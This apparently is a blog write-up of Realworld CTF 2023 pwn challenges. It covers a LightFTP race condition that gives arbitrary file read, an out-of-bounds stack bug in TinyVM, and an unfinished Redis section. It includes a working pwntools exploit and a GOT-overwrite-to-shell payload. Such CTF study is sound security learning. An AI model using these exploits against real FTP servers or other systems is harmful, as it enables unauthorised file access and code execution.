--- tag: pwn --- # Some challenges in Realworld CTF 2023 ## Introduction Last weekend, I played realworld CTF with `VAT` team and we got the great ranking. My teammates are so strong tho. This blog post will explain some challenges that we can or can not solve in this CTF, but after it ended, I read some write-ups and want to note the knowledge I learned. Thank you guys so much. ## NonHeavyFTP This challenge uses the opensource of [lightFTP](https://github.com/hfiref0x/LightFTP) in github. We heared about this protocol before but until now we still don't know how to the protocol work? So we will explain some information about it before dig deeper to the challenge. ### Protocol overview FTP is a client-server protocol that relies on two communications between the client and server: a command channel for controlling the conversation and a data channel for transmitting file content. FTP may run in active or passive mode, which determines how the data connection is established - Active mode: After a client initiates via a command channel request, the server creates a data connection back to the client and begins transferring data. - Passtive mode: The server uses the command channel to send the client the information it needs to open a data channel. Because passive mode has the client initiating all connections. ![](https://i.imgur.com/SqDWR00.png) ### Race condition This LightFTP is multi-threaded. Other than `fptmain` thread and `ftp_client_thread` thread, `RETR` command may create `retr_thread` thread that sends data to the client by active or passive mode. The program uses mutex to avoid race condition.However, the following part is vulnerable: ```c++ void *retr_thread(PFTPCONTEXT context) { // buffer = malloc(TRANSMIT_BUFFER_SIZE); while (buffer != NULL) { clientsocket = create_datasocket(context); // [1] if (clientsocket == INVALID_SOCKET) break; if (context->TLS_session != NULL) { if (!ftp_init_tls_session(&TLS_datasession, clientsocket, 0)) break; buffer_size = gnutls_record_get_max_size(TLS_datasession); if (buffer_size > TRANSMIT_BUFFER_SIZE) buffer_size = TRANSMIT_BUFFER_SIZE; } else buffer_size = TRANSMIT_BUFFER_SIZE; f = open(context->FileName, O_RDONLY); // [2] context->File = f; if (f == -1) break; offset = lseek(f, context->RestPoint, SEEK_SET); if (offset != context->RestPoint) break; sent_ok = 1; while ( context->WorkerThreadAbort == 0 ) { sz = read(f, buffer, buffer_size); //... } ``` `retr_thread` calls `create_datasocket` to create a connection for transferring data. After that, the thread calls `open` with filename and send data back to the client. If the thread switches in the order described in the following image, the filename will be changed by the next command. This causes **arbitrary file reading** vulnerability. ![](https://i.imgur.com/WntvgHd.png) ### Exploitation `ftpRETR` function and `ftpUSER` function are using the same `FTPCONTEXT` buffer, and the username will be filled in `filename` field. This is FTPCONTEXT struct. ```c++= typedef struct _FTPCONTEXT { pthread_mutex_t MTLock; SOCKET ControlSocket; SOCKET DataSocket; pthread_t WorkerThreadId; /* * WorkerThreadValid is output of pthread_create * therefore zero is VALID indicator and -1 is invalid. */ int WorkerThreadValid; int WorkerThreadAbort; in_addr_t ServerIPv4; in_addr_t ClientIPv4; in_addr_t DataIPv4; in_port_t DataPort; int File; int Mode; int Access; int SessionID; int DataProtectionLevel; off_t RestPoint; uint64_t BlockSize; char CurrentDir[PATH_MAX]; char RootDir[PATH_MAX]; char RnFrom[PATH_MAX]; char FileName[2*PATH_MAX]; // [1] gnutls_session_t TLS_session; SESSION_STATS Stats; } FTPCONTEXT, *PFTPCONTEXT; ``` As you can see `FileName` field can be overwrite if we use `USER` command. So this is our script to exploit (all of passive and active mode) the program. ```c++ int ftpUSER(PFTPCONTEXT context, const char *params) { if ( params == NULL ) return sendstring(context, error501); //... /* Save login name to FileName for the next PASS command */ strcpy(context->FileName, params); return 1; } ``` Script: ```python= from pwn import * # ip = '47.89.253.219' ip = '127.0.0.1' p = remote(ip, 2123) p.send(b'USER anonymous\r\n') p.send(b'PASS 123\r\n') def send_passive_cmd(cmd): # enable passive mode p.send(b'EPSV\r\n') print (p.recv()) p.recvuntil(b'|||') port = p.recvuntil(b'|', drop=True) p.send(cmd) # race here p.send(b'USER /\r\n') # new connection io = remote(ip, port) print (io.recv()) def send_active_cmd(cmd): # using active mode for receiving connection back p.send(b'PORT 127,0,0,1,48,57\r\n') p.send(cmd) p.send(b'USER /\r\n') send_passive_cmd(b'LIST\r\n') # send_active_cmd(b'LIST\r\n') p.interactive() ``` ## TinyVM Description: *This is a CTF challenge called TinyVM. The author is very lazy, not wanting to write a description of the challenge, and the code is directly cloned from https://github.com/jakogut/tinyvm.* It's whole information we have now... (no DockerFile, no libc binary, etc. So we need to guess and bruce force something like the `lib` is used or lib's version) ### Vulnerabilities This virtual machine follows traditional Intel x86 assembly syntax. After seeing the source code, we find that the `pop` and `push` instuctions do not check boundaries, it can be lead to OOB read and write bugs: ```c++= static inline void tvm_stack_push(struct tvm_mem *mem, int *item) { mem->registers[0x6].i32_ptr -= 1; // don't check stack's boundary *mem->registers[0x6].i32_ptr = *item; } static inline void tvm_stack_pop(struct tvm_mem *mem, int *dest) { *dest = *mem->registers[0x6].i32_ptr; mem->registers[0x6].i32_ptr += 1; } ``` ### Exploitation By some brute force steps, we find that the program uses `libc-2.35`. As you can see, the `tvm_vm_create` function will create the new memory for the virtual machine uses, it's also included stack's memory. ```c++= struct tvm_ctx *tvm_vm_create() { struct tvm_ctx *vm = (struct tvm_ctx *)calloc(1, sizeof(struct tvm_ctx)); if (!vm) return NULL; vm->mem = tvm_mem_create(MIN_MEMORY_SIZE); // 0x4000000 [1] vm->prog = tvm_prog_create(); if (!vm->mem || !vm->prog) { tvm_vm_destroy(vm); return NULL; } tvm_stack_create(vm->mem, MIN_STACK_SIZE); // 0x200000 [2] return vm; } ``` In debugger, we can see the virtual machine memory is located just above `libc.so` ![](https://i.imgur.com/kKd4AUe.png) And now, we think we can do whatever we want. The most difficult of this challenge is the exploitation step, so we will explain our idea and someone's interesting ideas in the below. #### Overwriting GOT It's interesting idea, what we learned from [nobodyisnobody's write-up](https://github.com/nobodyisnobody/write-ups/tree/main/RCTF.2022/pwn/bfc) - We must to overwrite 2 functions in GOT, they are `strlen` and `memcpy`. And the chain likes that: ![](https://i.imgur.com/Cp2bleX.png) This is the second gadget: ```asm= .text:00000000000EEC55 mov rsi, r12 .text:00000000000EEC58 mov rdi, r13 .text:00000000000EEC5B mov rdx, r14 .text:00000000000EEC5E call j_mempcpy ``` And one_gadget we used is: ```bash 0xebcf8 execve("/bin/sh", rsi, rdx) constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ``` Our script: ```asm= # j_strlen GOT = libc+0x219098 --> second gadget = libc+0xEEC55 # store libc address base add esp, 0x3e03ff0 mov eax, esp add eax, 0xEEC55 add esp, 0x21909c push eax sub esp, 0x401d088 # memcpy GOT = libc+0x219040 --> one_gadget = libc+0xebcf8 add esp, 0x3e03ff0 mov eax, esp add eax, 0xebcf8 add esp, 0x219044 push eax sub esp, 0x401d088 # trigger malloc_printerr sub esp, 0x1fffac mov eax, 0 push eax ``` #### Overwriting exit_hook Getting code execution with `libc-2.35` is not so easy than in older version. Because the most of the classic hooks have been removed, many function pointers are mangled. #### Overwriting tls_dtor_list [tls_dtor_list](https://github.com/sploitfun/lsploits/blob/4fe37d8bbea287272af701ebe98f9e08787deb3c/glibc/stdlib/cxa_thread_atexit_impl.c#L32) is a thread-local variable which contains a list of function pointers to be invoked during `exit()`. [__call_tls_dtors](https://github.com/sploitfun/lsploits/blob/4fe37d8bbea287272af701ebe98f9e08787deb3c/glibc/stdlib/cxa_thread_atexit_impl.c#L81) walks through `tls_dtor_list` and invokes function one by one. So if we can overwrite `tls_dtor_list` with our controlled memory which contains `system` and `system_arg` in place of function and object of `dtor_list`, `system()` could be invoked. ## Hardened Redis Description: *My Redis Server is now invincible and unassailable. It has been fortified to the highest degree, making it impervious to any attempts to breach its security. No one will be able to penetrate the server's defenses, making it truly indomitable.* ### Overview The challenge gives us Dockerfile, `redis.conf` and `readflag` binary. When we pay attention into Dockerfile, we thought that the redis version is the latest and we must find 0day :cry:. Luckily, the redis's version is `6.0.16` (while the latest verion now is `7.0.7`). ``` redis@8274a6ec73eb:/$ redis-cli --version redis-cli 6.0.16 ``` But it's still difficult for us when finding the 1day or building payload. So we can't solve this challenge during CTF occur. After CTF ended, we read [the blog](https://hackmd.io/@Xion/goq_22s_authors_writeup#J.-Trino:-Mirai) and try to understand this challenge. #### Setting debugger in docker By adding some lines into `Dockerfile`, we will have `gdb+pwndbg` to debug the program. ```bash= # install gdb, python3, python3-pip, git RUN apt-get update && apt-get install -y gdb RUN apt-get install -y python3 && apt-get install -y python3-pip && apt-get install -y git # install pwndbg RUN git clone https://github.com/pwndbg/pwndbg.git && cd pwndbg && ./setup.sh ``` There are some problems make gdb can not attach to process you want. Make sure that you added the `--cap-add=SYS_PTRACE` option when launch the container, such as: ```bash sudo docker run --cap-add=SYS_PTRACE -p 0.0.0.0:6379:6379 -d redis ``` ### Vulnerabilities jemalloc??? free leak + rip control je_mallctl??? <- ### Exploitation ## References 1. https://www.wikiwand.com/en/File_Transfer_Protocol 2. https://www.techtarget.com/searchnetworking/definition/File-Transfer-Protocol-FTP 3. https://hackmd.io/@ptr-yudai/rk8paaFZc 4. https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16 5. https://hackmd.io/@Xion/goq_22s_authors_writeup#J.-Trino:-Mirai 6. https://0xbigshaq.github.io/2022/08/22/lua-jit-intro/ 7. https://xp0int.top/posts/2023/01/09/5th-RealWorld-CTF-%E9%83%A8%E5%88%86Pwn%E9%A2%98-Writeup/ 8. https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/ 9. https://github.com/nobodyisnobody/write-ups/tree/main/RCTF.2022/pwn/bfc 10. https://jemalloc.net/jemalloc.3.html 11. https://nxmnpg.lemoda.net/3/mallctl#11 12.